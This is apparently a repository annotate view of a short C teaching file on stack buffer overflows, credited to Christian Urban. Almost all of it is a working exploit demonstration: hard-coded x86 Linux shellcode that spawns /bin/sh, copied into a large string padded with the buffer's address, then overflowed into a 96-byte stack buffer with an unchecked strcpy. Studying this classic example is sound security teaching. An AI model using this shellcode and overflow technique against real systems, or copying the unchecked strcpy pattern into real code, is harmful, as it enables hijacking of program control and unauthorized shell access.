| author | Christian Urban <christian dot urban at kcl dot ac dot uk> | 
| Tue, 14 Jun 2016 11:41:16 +0100 | |
| changeset 457 | 38ef1ef6082d | 
| parent 400 | f05368d007dd | 
| child 476 | cd82c24373cd | 
| permissions | -rw-r--r-- | 
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 Christian Urban <christian dot urban at kcl dot ac dot uk> parents: 
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changeset | 1 | char shellcode[] = | 
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 Christian Urban <christian dot urban at kcl dot ac dot uk> parents: 
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changeset | 2 | "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89" | 
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 Christian Urban <christian dot urban at kcl dot ac dot uk> parents: 
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changeset | 3 | "\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c" | 
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 Christian Urban <christian dot urban at kcl dot ac dot uk> parents: 
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changeset | 4 | "\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff" | 
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 Christian Urban <christian dot urban at kcl dot ac dot uk> parents: 
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changeset | 5 | "\xff\xff/bin/sh"; | 
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 Christian Urban <christian dot urban at kcl dot ac dot uk> parents: 
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changeset | 6 | |
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 Christian Urban <christian dot urban at kcl dot ac dot uk> parents: 
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changeset | 7 | char large_string[128]; | 
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 Christian Urban <christian dot urban at kcl dot ac dot uk> parents: 
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changeset | 8 | |
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 Christian Urban <christian dot urban at kcl dot ac dot uk> parents: 
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changeset | 9 | void main() {
 | 
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 Christian Urban <christian dot urban at kcl dot ac dot uk> parents: 
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changeset | 10 | char buffer[96]; | 
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 Christian Urban <christian dot urban at kcl dot ac dot uk> parents: 
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changeset | 11 | int i; | 
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 Christian Urban <christian dot urban at kcl dot ac dot uk> parents: 
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changeset | 12 | long *long_ptr = (long *) large_string; | 
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 Christian Urban <christian dot urban at kcl dot ac dot uk> parents: 
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changeset | 13 | |
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 Christian Urban <christian dot urban at kcl dot ac dot uk> parents: 
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changeset | 14 | for (i = 0; i < 32; i++) | 
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 Christian Urban <christian dot urban at kcl dot ac dot uk> parents: 
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changeset | 15 | *(long_ptr + i) = (int) buffer; | 
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 Christian Urban <christian dot urban at kcl dot ac dot uk> parents: 
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changeset | 16 | |
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 Christian Urban <christian dot urban at kcl dot ac dot uk> parents: 
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changeset | 17 | for (i = 0; i < strlen(shellcode); i++) | 
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 Christian Urban <christian dot urban at kcl dot ac dot uk> parents: 
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changeset | 18 | large_string[i] = shellcode[i]; | 
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 Christian Urban <christian dot urban at kcl dot ac dot uk> parents: 
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changeset | 19 | |
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 Christian Urban <christian dot urban at kcl dot ac dot uk> parents: 
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changeset | 20 | strcpy(buffer,large_string); | 
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 Christian Urban <christian dot urban at kcl dot ac dot uk> parents: 
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changeset | 21 | } |